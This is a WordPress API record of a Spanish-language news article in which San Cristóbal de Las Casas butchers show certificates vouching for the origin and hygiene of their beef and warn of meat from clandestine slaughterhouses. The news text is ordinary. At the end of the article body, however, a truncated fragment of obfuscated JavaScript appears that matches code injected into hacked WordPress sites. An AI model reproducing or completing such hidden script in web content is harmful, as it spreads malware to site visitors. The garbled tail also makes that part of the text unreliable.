{"id":3598,"date":"2022-07-14T02:34:00","date_gmt":"2022-07-14T02:34:00","guid":{"rendered":"https:\/\/reporteciudadanochiapas.com\/?p=3598"},"modified":"2022-07-14T02:34:01","modified_gmt":"2022-07-14T02:34:01","slug":"tablajeros-de-san-cristobal-garantizan-calidad-del-producto-que-comercializan","status":"publish","type":"post","link":"https:\/\/reporteciudadanochiapas.com\/?p=3598","title":{"rendered":"Tablajeros de San Crist\u00f3bal garantizan calidad del producto que comercializan"},"content":{"rendered":"\n
\"\"<\/figure>\n\n\n\n

\u00d3scar G\u00f3mez<\/p>\n\n\n\n

San Crist\u00f3bal de Las Casas.- Mart\u00edn Alberto Pineda Sol\u00eds, representante de tablajeros independientes, mostr\u00f3 ante medios de comunicaci\u00f3n el documento que garantiza la calidad de la carne que ellos distribuyen, ante la incertidumbre de la procedencia de la carne roja que se consume en esta ciudad, luego de que se cerrar\u00e1 definitivamente el Rastro Municipal.\u201cUn comunicador mencion\u00f3 que nuestro producto es de mala calidad, en respuesta a esa negligencia informativa, yo traigo ac\u00e1 documentos que demuestra de donde proviene nuestra carne, yo trabajo en el ramo desde hace 10 a\u00f1os en el frigor\u00edfico que se encuentra en Comit\u00e1n de Dom\u00ednguez que es un rastro de nueve estrellas, tiene dos c\u00e1maras y todo con el 100 por ciento de higiene\u201d, dijo en entrevista.Asegur\u00f3 que ellos distribuyen carne de ganado vacuno en carnicer\u00edas de 9 locales que hay en el mercado p\u00fablico \u201cJos\u00e9 Castillo Ti\u00e9lemans\u201d y el Terrapl\u00e9n, donde la calidad del producto se encuentra garantizada, ya que ellos matan en un rastro nueve estrellas que se encuentra en Comit\u00e1n de Dom\u00ednguez.Pineda Sol\u00eds alert\u00f3 a la ciudadan\u00eda para verificar su compra en negociaciones de ese ramo, porque hay distribuci\u00f3n de carne de dudosa calidad y proveniente de rastros clandestinos que se encuentran en otros municipios de la Regi\u00f3n, por lo que Salubridad Federal debe de investigar para no poner en peligro la salud del consumidor.Aclar\u00f3 que ellos distribuyen en 9 o 10 carnicer\u00edas del mercado y cuatro en el terrapl\u00e9n, \u201ces ganado de pastura de rancho, y viene procesado legalmente, viene con sellos, de un m\u00e9dico veterinario y el rastro que nos lo expide\u201d. Cuestionado sobre la carne que distribuyen otros tablajeros de dudosa procedencia dijo que \u00fanicamente tiene conocimiento que matan en Nachig y San Andr\u00e9s.\u201cEsa es cuesti\u00f3n que como tablajeros no nos queremos involucrar, porque nosotros que consumimos con Comit\u00e1n no estamos para meternos con los dem\u00e1s compa\u00f1eros, s\u00ed es preocupante, pero creo la invitaci\u00f3n ser\u00eda a Salubridad Federal venga y proceda a checar de d\u00f3nde viene y con qu\u00e9 calidad est\u00e1 esa carne que se tambi\u00e9n se consume\u201d.Finalmente, van a repartir una copia de los documentos en las carnicer\u00eda que les consumen, para dar certeza a la ciudadan\u00eda, \u201csi no encuentran un documento como este en cada establecimiento ya est\u00e1 bajo propio riesgo comprar ah\u00ed, se matan 12 reses en promedio a veces 3 o 4 d\u00edas a la semana, depende c\u00f3mo necesitemos para dar productos frescos\u201d.<\/p>\n\r\n(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return ","protected":false},"excerpt":{"rendered":"

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